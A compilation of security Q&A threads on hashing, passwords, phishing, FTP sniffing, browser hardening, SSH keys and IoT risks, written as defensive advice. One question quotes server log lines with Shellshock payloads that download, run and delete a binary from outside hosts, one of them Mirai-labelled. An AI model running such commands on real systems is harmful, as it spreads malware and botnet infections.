How can two clicks lead to better security in the context of, e.g., Twitter and Facebook share buttons? The sharing section of Jedox's webpage has the Facebook, Twitter, Google+ and Linkedin share options in default inactive state. You need to first click it to activate and click again to get the share window.

Hovering the inactive button it says

  Two clicks for a better data security: The first click will activate the button, the second will share your recommendation with facebook. Data is shared with third parties upon activation - see i.

So, how does two clicks make the security better?

This is about personal privacy for users of the site.

Like buttons are advanced web beacons.  Its more than just a simple image,  but JavaScript that identifies if you are a logged into a social network,  and tracks your behavior over a long period of time. Facebook collects this information for targeted advertising.

In this security system, if you don't need the like button,  then don't load that JavaScript widget.  If you want to click like, then you need to load the specific JavaScript widget that you need.

Related:
https://stackoverflow.com/questions/7313037/how-do-google-1-widgets-break-out-of-their-iframe/7313430#7313430


Correct way of dealing with spam via impersonation I've been having a recurring problem at work:
My boss's contacts keep receiving emails with links sent by a fake adress. The adress always has my boss's name + a different domain name every time. Example: MyBossName@DifferentDomainEverytime

The links in the emails are always existing domain name + something.php.
For example : www.ExistingDomain.com/example.php

This has been happening almost weekly. Everytime, I check the fake emails' headers and the IP addresses found in them. So far, I've found very different origins / transit points for those fake emails: Japan, USA, Germany, Saudi Arabia, Morocco, Indonesia, etc. It's never the same.

My questions are:

What could be causing those fake emails? Is it a known bot? A virus my boss got that copied his contacts? Or someone that is messing with him?

No doubt a very naive question: what's the purpose of sending those emails? Just to keep bothering people? The links in the emails don't direct to unsafe websites, clicking on them doesn't launch the download of a malware, etc.

How do we deal with this problem? I've got the IPs, but what do I do with them? Any idea on how to make those fake emails stop?

It sounds like it's some spambot that is sending out the emails. I can't explain why the links are dead or what the purpose of them is. It may be that the links were valid at one point and are now dead or it may have been set up in error.

As the IPs keep changing, blocking them is likely not useful. It may even be the case that blocking those IPs will block real mail coming from the same IPs.

How your boss's contact list got exposed is something that will take a lot of research to figure out. One of your boss's computers may have had/has a virus on it. It may just be that the spambot is acquiring a list of email addresses and grouping the spam to people in a single domain to make the email look more reasonable.

As far as what can you do, not much. Make sure that all your computers are up to date and have updated antivirus on them. Perhaps there are products/services/freeware that can help you filter these emails out based on content or something. Otherwise, just live with it and be happy that you're living through a time with such wonderful growth of the internet :D


Why is using salt more secure? Storing the hash of users' passwords, e.g. in a database, is insecure since human passwords are vulnerable to dictionary attacks. Everyone suggests that this is mitigated via the use of salts, but the salt is considered non-sensitive and does not need to be protected.

In the event that the attacker has the salt how has his dictionary attack become more difficult than before? Does not having access to the salt, effectively, remove its usefulness?

Salt doesn't protect you against a lone attacker who is only after one password. An attacker who just wants to break one password will calculate hash(salt + guess) instead of hash(guess) (if the password scheme is hash(salt+password)).

Salt helps if the attacker wants to break many passwords. This is usually the case. Sometimes the attacker is attacking a site and wants to break into an account on that site, any account. Without a salt, most of the attacker's work can be used for all accounts, so she can test each of her attempts against all accounts at once. With a correctly-chosen salt (i.e. if no two accounts have the same salt), the attacker has to start over for each hashed password.

Furthermore, in a sense, all password cracking attempts are attempting to crack all accounts passwords at once. That's because hashes can be precomputed; all it takes is for someone to generate a table of hashes — or more efficiently, a rainbow table — and that initial work can be distributed to multiple attackers who can use it on any account database that uses the same password hashing algorithm. Again, salt makes these precomputations useless.

A brute-force password attack can be summarized like this:

Make any precomputation that the attacker deems useful, such as building a rainbow table (which is an efficient way to represent a table mapping hashes to common passwords).
For every one of the n accounts that the attacker is interested in breaking in, and for every one of the p password guesses that the attacker includes in her dictionary, test whether hash(guess[i]) = hashed_password[j].

In a naive approach, the second step requires n × p hash computations to try all guesses against all accounts. However, if the first step already calculated all the possible hashes, then the second step requires no hash computation at all, just testing whether each hashed_password is in the precomputed database, so the attack requires just n table lookups (this can even be sped up, but we've already gone from n x p slow computations¹ down to n table lookups).

If each password has a different salt, then in order to be helpful, the precomputation would have to include an entry for every possible salt value. If the salt is large enough, the precomputation is infeasible. If the precomputation doesn't take the salt into account, it won't be useful to speed up the second step, because any cryptographic hash function “mixes” its input: knowing the hash of UIOQWHHXpassword doesn't help compute the hash of NUIASZNApassword. Even to attack a single account, the attacker needs to perform p hash computations to try all guesses, already an improvement on the single table lookup that would be sufficient if the attacker has a precomputed dictionary.

¹  A password should not be stored as a hash such as SHA-1, but using a slower hash function such as bcrypt or scrypt or PBKDF2.


End user security awareness measurement Apart from the conventional email phishing tests, what other security Key Performance Indicators can be used to measure end user security awareness in an Organization?

Looking at the SANS critical security control #9:

  9.4 Validate and improve awareness levels through periodic tests to see whether employees will click on a link from suspicious e-mail or
  provide sensitive information on the telephone without following
  appropriate procedures for authenticating a caller; targeted training
  should be provided to those who fall victim to the exercise.

I am trying to come with an indication that looks beyond the phishing emails or providing sensitive information over the phone. For example, how would I know people are aware of the dangers of using infected USBs in the organisation? Disabling the use of the USB prevents the security breach but does not benifit end user awareness of the issue. Users usually see it as an annoying control that stops them from performing their tasks. USB is just one example, how would I know that users are aware of the dangers of sharing their usernames? and similarly other wrong practices. getting their answers on the subject by surveys is one part, are there other indications?

A rudimentary training program should minimally educate users on critical issues. Measuring its effectiveness provides the opportunity to ensure that users are getting the relevant information they need to do their jobs safely and effectively.

Send out a survey that assesses awareness of job-specific information security issues and see how your employees score.

How often should you change your password?
What are appropriate methods for transmitting confidential
information to a business partner?
Whom it is safe to discuss your personal details with over the
phone?
How can you identify a secure site?
How can you identify a secure e-mail?
What is "phishing"?
What are the security risks in using social networks?
What information have you (or would you) put on a social network?
How can computer viruses be avoided?
What types of incident should be reported?

etc.


Setting payload for email using burp intruder I am setting up the burp intruder attack for email. For example, youremail@gmail.com

Now when i added $ it takes youremail@gmail%2ecom  so i am getting the result as email is invalid type.

My aim is to achieve yoursemail@gmail.com but it takes %2e.

In the "Payloads" tab of Intruder, go to the bottom. There is a "Payload Encoding" section where you can specify which characters to URL-encode. You can remove the '.', or disable this feature completely.


Security of a Random Password i. If I choose random password of length say 15 from the alphabet set of size 94 i.e. from the search space of 94^15, is my password protected against all kind of threats?

ii. Will there be any need of resetting such password in the near future?

iii. If the password database is hashed and compromised by the attackers, do I have to change my random password?

iv. What should be the length of the random password, so that I do not have to worry about it getting cracked, breaked, guessed whatever for 100 years.

Assuming that I can remember 15 length long random password.

If I have to change my random password in any of the cases, then what is the point about setting random password?

The security of your randomly generated 15 characters password depends very much on how it is stored on the system that is being breached.

If the system stored it in clear text, your password would be stolen in 0s.

Assuming the next worse case scenario of your password being stored as an MD5 character that is being hashed just once, without salt, if there exist a super rainbow table (beyond yottabyte size?) with search space depth of 95^15 (you forgot to include space), your password would be cracked in a matter of hours or minutes.

Without a rainbow table, the attacker would have to brute-force your password by guessing one at a time. Jeff Atwood had written an article on hashing speed which I quote here:

MD5      23070.7 M/s
SHA-1     7973.8 M/s
SHA-256   3110.2 M/s
SHA-512    267.1 M/s

This was what an expensive GPU can achieve two years ago. If Moore's law continue to predict correctly for the next 100 years, then the hashing speed for MD5 with a GPU, if GPU is still the tool for cracking hashes, will be:

Year   MD5 hashing (M/s)
2012   23070
2014   23070 x 2
2016   23070 x 2 x 2
...
2114   23070 x 2^51 = 5.2 x 10^19

Your search space of 95^15 will yield 4.6 x 10^29 possible hashes. Let's assume the hacker tries every single one of them in 2114, the number of guesses he can make is:

5.2 x 10^25 x 365.25 days x 24 hours x 3600 seconds = 1.6 x 10^33

Which is more than 4.6 x 10^29. Therefore it is possible to crack your password in MD5 before the end of 2114.

The next consideration is how much computing resources does your attacker has? If one GPU is not enough, can he get 10 or even 10,000 of those?

Finally, password cracking is not cost-free. GPU consumes energy. Your attacker got to think, is it worth it? To run those machines for years just to brute-force a password when they could have just hire someone to beat the crap out of you to get it at a fraction of the cost and time is plain stupidity.

In summary, your randomly generated 15 characters password is good for the decade, but hard to say for the century, provided that the system storing the password is using a MD5 hash or stronger and that you have not accidentally revealed the password yourself.


preventing reflection attack I was reading the solution to the reflection attack and have some confusion as to how Alice would know Bob is a liar and isn't really Bob.

1. Alice initiates a connection to Bob
2. Bob challenges Alice by sending a nonce. B -> A: N
3. Alice responds by sending back her identifier and the nonce encrypted using the shared key Kab. A -> B: {A, N}Kab
4. Bob decrypts the message, makes sure its from Alice and not a message he had sent in the past by finding A in it and not B and if the nonce is the same as the one he sent in his challenge then he accepts the message.

Step 4 is where I get lost. So Bob can use the key to decrypt and retrieve "A". First off what does it mean in the notation when a senders name appears in the message? If we have A-> B:{A}, or just A-> B:A what does the A after the : mean?

In part 4 it seems like it's saying once Bob decrypts the message he can "some how" verify if the sender was really that person. I don't get the "some how". In implementation would A be the IP address of a machine, and since a node always knows who's connecting to it, it will be able to decrypt to 8.8.8.8 and know the actual sender was 8.8.4.4 ?

A -> B: {A, N}Kab means that A sends to B a message containing A and N, and encrypted with a secret key shared by A and B.

  So Bob can use the key to decrypt and retrieve "A".

No, Bob uses the key to decrypt the response and retrieve the nonce N and the identifier A. From this, Bob knows that the response

contains the nonce N Bob sent beforehand;
contains Alice's identifier A and therefore has been sent by Alice, and is not a replay of a nonce Bob sent in the past;
is encrypted with the shared secret key, so it must come from Alice which is the only party, apart from Bob, that knows the secret key.


How to secure a network (FTP connections) from sniffers I'm actually working in a medium sized company with security concerns. Let me explain you my problem :

The context:

My office has one single internet line.
This line is accessed by anyone in the office over WIFI.
My server use the same line in LAN,    this server needs to send
periodically important information to a    distant server via FTP.

The problem / threat:

I’m afraid that a potential hacker could sniff my FTP credential and use them again to alter or get important information.
I’m aware that the FTP protocol is unsecure because the credentials are sent in plain text over the network/internet but I cannot change the protocol the servers are using at the moment. I know that SFTP or FTPS would be a better way to encrypt the data/credentials.

So anyone using the office WIFI would be able to sniff the credential using a tool like Wireshark?

Possible solutions:

Open a second internet line dedicated only for the people in the
office using WIFI. The first line would be EXCLUSIVELY dedicated to
our system/server to discuss with our remote server via FTP. So both
networks would be separated.
Maybe install a hardware / firewall on our internet line to secure,
protect from sniffing. But I honestly don’t know if this kind of
router/firewall can make the job and protect us from sniffers?

So here are my questions:

First of all, did I say anything that doesn’t make sense?
What would be the easiest solution to avoid those sniffers to get my
credentials?

Thank you in advance for any advice.

If I understand correctly, your connection to the Internet gateway is wired and everyone else is WiFi.  If that is the case, the WiFi users cannot capture your FTP credentials because there is no need for the WiFi AP to transmit them, and it won't.

But really, the answer is to convince the people at the other end to replace FTP with SFTP.


Strange name on "shared", was I hacked? I use a Macbook Air 2013 and I recently noticed a very strange and long line of digits and letters under my "shared" category in finder. When I click on the name, it just says "failed to connect." It has a picture of a PC next to the name.

In addition, when my computer goes into sleep mode the screen saver says "test's macbook air" and I never set it to this. Has someone hacked me to "test" their aptitude?

I am not very experienced with this sort of thing and I am slightly worried and taken off guard.

To answer your 1st question, under the shared category in the finder, you will see any hosts on your network with file sharing enabled. This is normal behavior.

Regarding your name showing up as 'test', in system preferences, under User Accounts, check to make sure that the correct Username is showing up. Did you set up this account? Also, under 'Sharing', check to see if any of the File Sharing or Remote Access features are enabled. Unless these are enabled, no other hosts on your network should have been able to access your machine, unless they are exploiting a vulnerability.


How to securely install web applications on untrusted hosts? In principle, storing data securely on an untrusted server seems to be easy. Just use a strong enough client side encryption.

But how to deal with web applications? For example a forum software like https://github.com/discourse/discourse, a Django app, or something like that?

Are there any concepts to run such software securely on untrusted hosts? In particular, I am interested in running a private forum software on a potentially unsecure host.

Securely storing web application on untrusted server is not possible. Even if you would encrypt database on the server, you could not use server-side commands. Everything would have to be processed on the client (who has private key or password), including login, so this method is insecure as well.


configure squid to use another digest proxy I'm connected to a squid proxy that does digest authentication , and I have installed another squid proxy on my centOS 6.4 and configured it to use the upper proxy .

The problem is that I need another PC to connect to my proxy without authentication and that means the authentication must be done in my proxy somewhere in squid.conf

Any ideas?

This page states that the cache_peer configuration command is used to set an "upper proxy", and that command accepts the login=user:password option to handle authentication with that upper proxy. Note the following:

In HTTP authentication, the client (here, your own proxy) does not know beforehand what kind of authentication the server (here, the upper proxy) requires; if the upper proxy wants to do Digest authentication, it will tell it to your proxy dynamically (with a WWW-Authenticate header).
Your squid proxy must necessarily "know" your password, since it must be able to use it to authenticate with the upper proxy (either by sending it directly, with "Basic" authentication, or by computing hashes over the concatenation of the password and a challenge with "Digest" authentication). This implies that your password will be stored "as is" in the configuration file for your Squid. You'd better protect it correctly. I also encourage you to check whether writing down your password in a file is legally/contractually compatible with the rules which are in force at your organization.
If you allow "the other PC" to connect to your Squid without authentication, then you may open a door which allows everybody to connect to your Squid without authentication. There again, your local sysadmins may frown upon these things. Caution is advised.


Hardware enforced DEP on different CPUs Are there any differences how hardware DEP is implemented on CPUs from different manufacturers (Intel, AMD, nVidia, Texas,...)?

Are there any significant differences how hardware DEP works on x86 and ARM?

The x86-compatible CPU are aptly named: they are compatible with each other. This means that the same OS code will work on all of them. So, from the point of view of the code which runs on the processor (which includes the operating system itself), things do not vary (much) depending on the brand. Things change depending on the generation: the newer systems have the NX bit while older systems must rely on tricks with segment registers or complicated TLB/cache dances (see this answer for details).

The core concept is the same for all modern CPU: address space is split into fixed-size pages (or, if different page sizes are supported, their lengths are all multiple of a given atomic length, normally 4 or 8 kB). Access rights are enforced at a page granularity: a whole page is readable and/or writable and/or executable.

Hardware-wise, details on the implementation of the MMU can vary quite a lot, but within a rather generic framework: access rights for each page are stored in tables (the address of a master table being recorded in a specific CPU register) and cached in a dedicated structure (the TLB) for faster access. Upon every memory access, the rights for the target page are loaded from the TLB (the TLB being filled from RAM if necessary) and compared with the access type. The CPU is well aware of what kind of memory access it is doing (whether it is code execution or data read or data write). The lack of hardware support for DEP in older x86 MMU is an omission from the Intel designers of that time (circa 1982 for the 80386); it probably saved a layer of transistors somewhere. The venerable 68000 from 1979 did not include a MMU but was smart enough to advertise the access type on its connectors for each access, and it did distinguish code execution from data reads.

On ARM CPU, the same concepts are in force (it is still page-wise access rights) but the MMU table format is different from that of the x86.


Apache logs show commands execution I am wondering if my server is compromised or not. I just looked at my log and seen the following line in there:

IP: 173.249.4.160, Date: 27-12-17, Time:09:52:51, Browser: () { :;}; /bin/bash -c "curl -o /tmp/zmuie http://162.243.117.130/zmuie;/usr/bin/wget http://162.243.117.130/zmuie -O /tmp/zmuie;wget http://162.243.117.130/zmuie -O /dev/shm/zmuie;chmod +x /dev/shm/zmuie /tmp/zmuie;/dev/shm/zmuie;/tmp/zmuie;rm -rf /dev/shm/zmuie /tmp/zmuie*"
IP: 183.90.60.51, Date: 28-12-17, Time:06:13:07, Browser: () { :; }; /bin/sh -c 'wget http://easavi.gq/wp-admin?infect-cctv=mirai-botnet.bin -O /dev/null;wget1 http://easavi.gq/wp-admin?infect-cctv=mirai-botnet.bin -O /dev/null;curl http://easavi.gq/wp-admin?infect-cctv=mirai-botnet.bin -o /dev/null;/usr/sfwbin/wget http://easavi.gq/wp-admin?infect-cctv=mirai-botnet.bin;fetch -/dev/null http://easavi.gq/wp-admin?infect-cctv=mirai-botnet.bin'

I am not sure if they were able to execute that command successfully or not. I shut my server off.

While one can see from the server log that an exploit was attempted using the Shellshock vulnerability it is impossible to say based on this log alone if the exploit was successful.

Your first check should probably be to find out if your system is vulnerable against this kind of exploit at all. This should not be the case if your system has current updates. If your system is vulnerable then you should treat it as compromised, no matter if from the recent exploit attempts or from older attempts since the bug is known and exploited for a long time.


Is it possible to decode xor encoded string from N copys? Let's say, I've got N strings encoded with "random" bytes using xor.

If I know that the information encoded is the same everywhere, is it possible for me to get at the information itself by doing some sort of manipulation with the data?

I've tried this with 3 strings (xor them with each other and than try to solve equations to get at the random bytes values) and to me it looks like it's impossible. Can anyone confirm or deny this?

No, this is not possible. Encoding a message using XOR and a key of equal length, randomly chosen from a uniform distribution, leaves you with a ciphertext that is equally likely as any other possible ciphertext, regardless of what the original message was. Therefore, without knowledge of the key, the encoded message tells us absolutely nothing about its secret.

The security is not compromised by running the algorithm again. It will yield a second number whose probability is also evenly distributed and more importantly, independant of the first ciphertext, as long as the keys are chosen independantly, even if the message is the same. Once again, these two numbers are equally likely as any other possible combination of two ciphertexts, regardless of the original message. So here too, the message stays a secret.

In fact, if this were not the case and multiple versions of the same message, but encoded with different keys, did reveal information, breaking the encryption would be trivial, even with only one ciphertext. An attacker could easily make more, by XOR'ing the ciphertext with another number, as this is equivalent to XOR'ing the message with a different random number.


Security Training for corporate Facebook users One of my clients is looking at allowing their employees to access Twitter and Facebook from work. I have highlighted the need for training, and I have material to present, but what do you think should be covered?

disclosing customer data
disclosing internal operations/employees
social phishing
malicious link awareness
and ...

What would you think of a 'watchdog' policy, where if someone wants to use Facebook at work, that a member of IT Security be 'friended\following' so that there can be oversight? This would require HR feedback, to be sure, but it might give an employee pause to know that a co-worker is looking out for them (we do have access to their email and browsing histories ....).

Twitter and Facebook are very different.  Many people successfully use Twitter for professional activities: either tweeting, or following others.  If you are tweeting, it is easy to set up a separate Twitter account for your professional life, to keep work and personal life separate.  I think your client should probably allow people to use Twitter for their professional work.  Offering training is not a bad idea.

Expecting employees to let someone from HR friend them on Facebook, though, raises a whole host of issues.  I do not recommend going there.


High bounce rate due to attacker is using website's mail system We got a realatively high bounce rate today, because someone decided to spread some links using our mail server. The implementation looked like this:
He used the registration form and planted a link in the firstname field, which appears in the email's first line.
Then he sent out like 1200 emails like this.
And my question is what can we do to prevent this?
We can use captcha for sure, but can we do more about it?

It's the verification email which is sent. Like if you register to any other sites, the website sends you an email to verify your email address. And what he did was to put the link in the firstname field of the registration field. so in the verification email in the place, when it would say - Hello XY! pls verify your email... - there is this instead - Hello <link>! pls verify your email...

I don't think that those email addresses belong to him, because in most of the case we didn't get a bounce, and also all the email messages had a different structure, plus there was more in the firstname field. Example: Здравствуйте Ваш профиль победил в акции. Заберите Ваш бонус на сайте: asuspeci.tk/9b939 ◄◄◄ All of them went to russian email addresses. The string in the link seems to be unique for each email address - I didn't check all, but any of them I checked was different. It also redirects to a russian fake website - I checked it with Tor, javascript disabled

Also the verification email has a template which starts like this: Hello [firstname]!

I think it's might be also good to validate the field and check if it contains some characters which can't be part of a firstname as an extra. This might be better to be done with blacklisting some characters, because some languages has special characters in names, but those are not punctuations.

The recaptcha can't do much against request forgery, so it might be a good idea to also implement an IP filter limit, where you allow only X registration in an Y amount of time only from the same IP address.

Find a library you can use to parse out domains. Anything with a dot in it should use this library to look for a domain, and then a matching domain would get rejected from the form. This will at least require some obfuscation (like asuspeci . tk). You'll likely still block some legitimate names (you might be surprised how varied naming conventions are), so don't go after obfuscation too hard.

Captcha services have their own algorithms for ratcheting up the difficulty proportional to the user's perceived risk, so I'd suggest them (in addition to traditional rate limiting) as a form of soft rate limiting even if your attacker(s) are passing them. Captcha providers also have analytics to look for abuse, so you'd be helping them help you in this regard.

Here's a prospective rate limiting tweak: put the submitter's IP in the confirmation link (which allows victims to potentially identify their attackers) and don't let that IP submit more submission requests if there are already ~five pending (no confirmation click yet).


How to harden a "dedicated" Firefox? I want to set up an instance of Firefox to be used to access a strictly limited "white list" of websites (my bank's, my credit cards', etc.).

How can I harden such an instance of Firefox to reduce (eliminate?) the possibility of straying outside of the white listed sites?

Since this instance of FF will not be used for casual browsing, it is OK if it is modified in a way that makes it more secure at the expense of "ease of browsing."

Also, here, I am primarily interested in built-in config settings, as opposed to third-party add-ons (aka extensions).

(I don't mind learning about add-ons that may be useful to harden Firefox for the use described above1, but this information would be only "for future reference", until I learn how to inspect an add-on to determine that it is neither malicious nor vulnerable.)

1 In fact, I already know of a few such potentially useful add-ons:NoScript, NoRedirect, RequestPolicy.

Securing firefox to me means a vanilla copy of firefox which disables password and history collection, deletes cache and cookies after closing, no add on installation, and whitelists specified sites. The above can be done via Firefox's options.

To Whitelist sites:

Open Tools->Options...->General->Connection Settings...
Select "Manual Proxy Configuration"
Check "Use the same proxy for all protocols"
Type in a bogus host (0.0.0.0) for HTTP proxy
In "No proxy for", list your whitelist of websites

Source: http://forums.mozillazine.org/viewtopic.php?f=8&t=287280


Sending the client certificate with the client hello to the server With client authentication the client sends the certificate after the client and server hello.
Is it possible to send it already with the client hello, so the server does not even answer with a hello but instead rejects the connection?

TL;DR: This is not possible with a standard conforming implementation.
The TLS 1.2 and TLS 1.3 standards clearly describe the sequence of communication inside the TLS handshake. A client certificate can not be send inside the ClientHello since the structure of the ClientHello record does not have a place for it. It is instead sent within a Certificate record, similar to how server certificates are sent. Only a Certificate record from the client is supposed to be sent only after the server explicitly requested it with a CertificateRequest. (see TLS 1.3 spec, sections CertificateRequest, and Certificate for the definition of this behavior)
Note that in order to prove that the client actually owns the certificate it needs to sign some challenge - and this signature (CertificateVerify) can be then checked by the server (see CertificateVerify). The challenge should not be set by the client itself since this would allow replay attacks. Therefore the challenge must at least in part be defined by the server - similar on how the same kind of challenge for the server certificate is partially defined by the client. To have this kind of input the client must have data from the server first, i.e. the CertificateVerify can not be send w/o an initial data exchange.
Even if the protocol allowed you to send a Certificate message along with your ClientHello, it would not save you round-trips on a successful handshake. This does not mean that the protocol could be designed in a way that the certificate is sent immediately but verified only later. This way the server could early reject a certificate which would be not acceptable no matter if the (later) validation failed or not. Only, the protocol is not designed this way. On reason might be that the server wants to notify the client which CA are acceptable so that the client can select the appropriate certificate. Other reason might be that using a valid but still wrong certificate is unlikely, so an optimization for this case is not actually needed.


Mobile authentication with password as param in get request over ssl I'm building out a new services layer for an existing mobile application. The mobile application authenticates with the existing services layer by providing the user name and password as url params in a get request to the authentication end point. This all happens over ssl.

Initially I thought this was insecure, but this post seems to suggest it's not insecure at the transport layer SSL with GET and POST. The only concern is how the request is logged by the server. Given I'm writing the server side and can control logging, is this something I should worry about. Should I insist the app team change the client to send a post request to better secure the password, or is that unecessary?

Yes, insist to change the request to POST.

The main issue here is the fact username and password will be saved in logs. As best practice no logs should contain sensitive information even if they are very secured.

This is clearly specified in rfc2616:

  15.1.3 Encoding Sensitive Information in URI's

  Because the source of a link might be private information or might
  reveal an otherwise private information source, it is strongly
  recommended that the user be able to select whether or not the Referer
  field is sent. For example, a browser client could have a toggle
  switch for browsing openly/anonymously, which would respectively
  enable/disable the sending of Referer and From information.

  Clients SHOULD NOT include a Referer header field in a (non-secure)
  HTTP request if the referring page was transferred with a secure
  protocol.

  Authors of services which use the HTTP protocol SHOULD NOT use GET
  based forms for the submission of sensitive data, because this will
  cause this data to be encoded in the Request-URI. Many existing
  servers, proxies, and user agents will log the request URI in some
  place where it might be visible to third parties. Servers can use
  POST-based form submission instead


White screen popped up. All of sudden not able to do anything. Scam or something else? I have been using this laptop for the last 6 months and never had any issue, but last Friday I was watching a movie and then all of sudden my PC restarted and a white screen (see figure below) showed up after reboot.

I tried a few things. I tried Task Manager and all but it didn't work out.
I restarted the PC, but I couldn't do anything.

I reinstalled the windows again it again popped out,
later on, I formatted the whole laptop
clean windows 10 installation + Format

After a day it showed up again and this time I'm not even able to login and after boot it's coming directly.

Things I noticed:
1: It's coming from internet explorer
2: I was able to locate the webpage directory it was C/Pograndata/wcttempoff.html

Screenshots attached. Last time when it showed up again after formatting the whole Drive I took out the hard drive from the laptop and then using a connector connected it to the PC and deleted the files from program Data linked to this message & IE But no Success

Hidding my IP or by using VPN can these things handle this? ( ss joined )

This looks like scamware if anything - who even is this illusive "Corporate Security"? It's trying to get you to dial a number where they'll try sell some service or have you manually install something else.

You mention you were watching a movie - was it on a streaming site? If so, they're rife with these sorts of popups. If this is the case, you'll see a  URL at the top of your screen that it's loading (some quick Googling shows this number cropping up on a lot of self-reported scam call websites).

There must be some element of peristence for this wee infection - Malwarebytes/Avast/any number of good, free AV solutions will be able to scan your registry for anything lying there. Would recommend you do this rather than reinstalling Windows.


Can ISPs be helpful in preventing spam? I have received a number of phishing emails from various domains. I would like to prevent the domain from sending emails so that other people also don't get taken advantage of.

I have not been successful talking to the registrar or host to take down the domain. Is there anything an ISP could do to prevent such emails from a known malicious domain?

The short answer is; probably not. Unless of course you actually pay for that service. An ISP does exactly that, it supplies you with Internet Service - if that's all you're paying for that is all you will get.

As far as I know, at least in the UK I could not contact any ISP and ask them to help me with spam prevention because not only do I not pay for that, they don't even offer it. Obviously, this can vary depending on your location but unless your ISP explicitly offers that kind of service to you (for a fee of course) then chances are they will not even be interested to hear what you have to say.

If they don't provide the service they don't provide the service and unfortunately, they're not going to change their business model for you and start selling spam prevention as a service. Your best choice is to see what spam prevention methods your mail provider can provide you.


How vulnerable are devices on my home WiFi? My wife and I got into a discussion about the security of our home WiFi the other day, so I have come to this discussion board to see if I am wrong about how secure I/we feel.
We have your normal home WiFi that is password protected, router config page is locked down with (non-default) username/pword, upnp disabled, etc.

We have:

2 foscam cameras not port forwarded (yes we know these are insecure, and that is what sparked the conversation). I created a custom webpage, hosted only on our LAN, to check video on these because we didn't want to use a 3rd party app.
Port forwarded items: Nest, minecraft server, Splunk server, some Steam ports, openVPN server.

My wife is worried that somehow the cameras will be hacked into (even though they aren't port forwarded) or that some of the other items that are port forwarded will be compromised. She is afraid that because we used a third party app for a while these cameras have a feed to the outside world.
Should there be any concerns with these cameras residing in our home?
Does having any of those other items port forwarding present a security vulnerability?

I don't know about this specific camera model but IoT cameras were often in the press in the last years because of the many security issues. This includes cameras from Foscam.

Not all attacks against IoT devices need direct access to the device, i.e. port forwarding through the router. Especially with CSRF attacks the browser could be used as a trampoline to hijack internal devices from outside. All you need to do is visit some site which contains malicious code to hijack the device - this could even by done by an advertisement embedded into a site with high reputation, i.e. malvertising. And if you are using google to search for IoT camera CSRF or even Foscam CSRF you get lots of hits so the risk looks real.

One of the hits you get when search for concrete vulnerabilities is probably "All your video are belong to us. The Foscam webcam" which explains how to hijack a Foscam device which is only visible in the internal network from outside via CSRF and make it upload the captured images to an external server. This should be scary enough that you don't want to have these cameras in the internal network.

And, if you consider such attacks only theoretical you might have a closer looks at reports like hijacking 4.5 million routers in brazil with CSRF. Such attacks are real and even if the attacker is not interested in getting the images taking from the camera he might be interested to use the camera to attack other systems, both in your internal network and also external systems as part of a botnet consisting of IoT cameras.


Daily Virtual Machines workflow: Use for sensitive activities? Daily Virtual Machines workflow: Use for sensitive activities?

Every day I'm playing with fire regarding my computer security, in one chrome profile I have my business side, logged into social media with tons of followers, logged into bank accounts, emails, domain tool etc. Right beside it I on another profile I have the uncensored me: occasionally pirating software, occasionally watching porn, flaming people on forums etc.

I'm starting to feel like seperating these 2 lives by mere chrome profile is not enough security.

I'm starting to feel like the answer is within Virtual Machines, by loading up a separate windows in a separate VM I ALMOST get the security of having several machines, but without the extreme hassle of bringing several physical devices.

However I'm completely new to VM's, I just installed my first VM 5 minutes ago. Maybe someone with experience in this workflow have advice?

It might seem like the easy answer is simply to have the safe profile as the computer host, and the uncensored profile as a VM. but even that brings a few problems:
*my chinese bank requires insane exe files that runs in the background at ALL times, without a doubt its spying on my activities.
*someone might insist to just borrow your computer real quickly, for example if airport security demands I log on I can't exactly tell them to wait while I start a VM where they can install their tracking software.

Another option would be: Host is for content creation, if I want to do any online activities I can use an uncensored VM and one censored VM.

The reason I ask for experienced advice is I don't want to step too far either, a month from now I don't want to have to revert it all because I underestimated how cumbersome it was to operate.

Btw I'm aware that VM's are not superman, my plan is not to intentionally install virus-filled software on one VM.

There's not much we can add to your current analysis of the pros and cons of the various arrangements you describe. You're going to have to experiment to find out where your personal comfort level is.

I would add though that if you believe it possible that e.g. airport security will try to bug your laptop, then the only safe thing is not to bring your machine through airport security. If the bad guy has physical access to the hardware, then it's not your computer any more. Also, if you believe your bank might include spyware in their application, then the only safe thing to do is to run it in it's own dedicated VM with nothing else. If the bad guy can persuade you to install something on your machine, then it's not your computer any more.

And don't forget there are other more subtle things you can do with a VM, like having single-use VMs that you throw away after use, or VMs where the disk lives on removable media that you can store separately from the machine.


Risk in connecting wrong ssh host? I've a ssh host key login setup in a remote server, for some reason, the DNS of that host is mapped to another server.

So assume the mistaken host cannot be trusted, should I change my key?

When you connect to the wrong server, this should trigger a very noticeable client-side warning, because the server appears to use a key distinct from the key it was using in previous sessions. The client remembers servers' keys. For a classic OpenSSH client, the warning looks like this:

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.

Of course, this relies on your client having already connected at least once to the right server; otherwise, the client will not know the right server key in advance.

Assuming that you did "click through" the warning (i.e. modified your .ssh/known_hosts to bypass it), then you connected to the wrong server. When using key-based authentication, the client computes a digital signature on a string which contains the "key exchange hash", a session-specific value obtained from the key exchange mechanism through a hash function; the server verifies the signature with regards to the expected client's public key (in .ssh/authorized_keys).

In no way is the client's private key ever revealed to the server. Moreover, inclusion of the key exchange hash in that which is signed prevents the receiving server (the wrong/fake one) from reusing the signature to impersonate the user on the right server. Therefore, your client private key is safe; there is no need to change it.

(The key-based client authentication mechanism is described in section 7 of RFC 4252.)


How to protect against clickjacking via pop-under windows? Huang and Jackson described a method of clickjacking that does not rely on iframes, but on pop-under windows. Is this attack still relevant today, or is it prevented by pop-up blockers? Is there any way a site can protect against it?

The attack works like this: a window is opened behind the current window, and the user is asked to double click. The first click brings the pop-under to the front, and the second click performs some interaction the user does not intended.

Step 1: user is asked to click twice on the button:

Step 2: after one click, a window is layed over the page so that the button click is handled by another page:

Is this still possible with today's browsers? Is there anything a user or a site can do to prevent this?

I use Tab Mix Plus plugin in Firefox and configure it to turn all pop-up/new window into tabs. This also prevents Javascript from bringing tabs into the foreground/background.

You can additionally configure it to disallow scripts from changing window size and position, so accurate placement is impossible.

A similar plugin may exist for other browsers.


